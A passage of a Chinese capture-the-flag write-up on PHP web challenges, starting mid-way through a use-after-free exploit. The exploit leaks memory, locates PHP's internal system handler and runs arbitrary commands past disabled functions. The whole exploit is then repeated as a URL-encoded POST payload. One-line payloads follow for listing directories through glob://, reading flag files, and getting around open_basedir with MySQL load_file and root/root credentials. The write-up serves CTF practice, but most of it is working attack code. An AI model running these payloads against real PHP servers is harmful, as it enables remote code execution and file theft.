$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
为了方便传post,直接全部进行URL编码
%3f%3e%3c%3f%70%68%70%0d%0a%70%77%6e%28%22%6c%73%20%2f%3b%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%0d%0a%0d%0a%66%75%6e%63%74%69%6f%6e%20%70%77%6e%28%24%63%6d%64%29%20%7b%0d%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0d%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%20%23%20%3b%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%20%23%20%50%48%50%20%3e%3d%20%37%2e%34%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%27%25%63%27%2c%24%70%74%72%20%26%20%30%78%66%66%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%27%25%63%27%2c%24%76%20%26%20%30%78%66%66%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%23%20%50%54%5f%4c%4f%41%44%2c%20%50%46%5f%52%65%61%64%5f%57%72%69%74%65%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%68%61%6e%64%6c%65%20%70%69%65%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%23%20%50%54%5f%4c%4f%41%44%2c%20%50%46%5f%52%65%61%64%5f%65%78%65%63%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%27%63%6f%6e%73%74%61%6e%74%27%20%63%6f%6e%73%74%61%6e%74%20%63%68%65%63%6b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%27%62%69%6e%32%68%65%78%27%20%63%6f%6e%73%74%61%6e%74%20%63%68%65%63%6b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%20%23%20%45%4c%46%20%68%65%61%64%65%72%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%20%23%20%73%79%73%74%65%6d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%23%20%73%74%72%5f%73%68%75%66%66%6c%65%20%70%72%65%76%65%6e%74%73%20%6f%70%63%61%63%68%65%20%73%74%72%69%6e%67%20%69%6e%74%65%72%6e%69%6e%67%0d%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%23%20%69%6e%63%72%65%61%73%65%20%74%68%69%73%20%76%61%6c%75%65%20%69%66%20%55%41%46%20%66%61%69%6c%73%0d%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0d%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%0d%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0d%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0d%0a%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%6c%65%61%6b%73%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0d%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0d%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%76%61%6c%75%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%72%65%66%65%72%65%6e%63%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0d%0a%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0d%0a%0d%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%63%6c%6f%73%75%72%65%20%6f%62%6a%65%63%74%0d%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%70%77%6e%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%23%20%69%6e%74%65%72%6e%61%6c%20%66%75%6e%63%20%74%79%70%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%23%20%69%6e%74%65%72%6e%61%6c%20%66%75%6e%63%20%68%61%6e%64%6c%65%72%0d%0a%0d%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%65%78%69%74%28%29%3b%0d%0a%7d
0x2C web73
无open_basedir
,似乎只是禁用了些函数
glob伪协议
、scandir()
、opendir()
读目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}include("/flagc.txt");exit(0);
或者
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagc.txt");exit();
c=$a=scandir("/");foreach($a as $value){echo $value." ";}include("/flagc.txt");exit();
0x2D web74
scandir()
被禁用
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagx.txt");exit();
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}include("/flagx.txt");exit(0);
0x2F web75
open_basedir限制在/var/www/html/
,导致include
失败
看羽师傅的居然利用mysql load_file
读文件
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();die();}die();
原始版本:
<?php
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flagx.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}
听群主说,dbname
的值从上下题中找到,如sql注入,shell
0x30 web76
还是利用mysql load_file
读文件
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();die();}die();
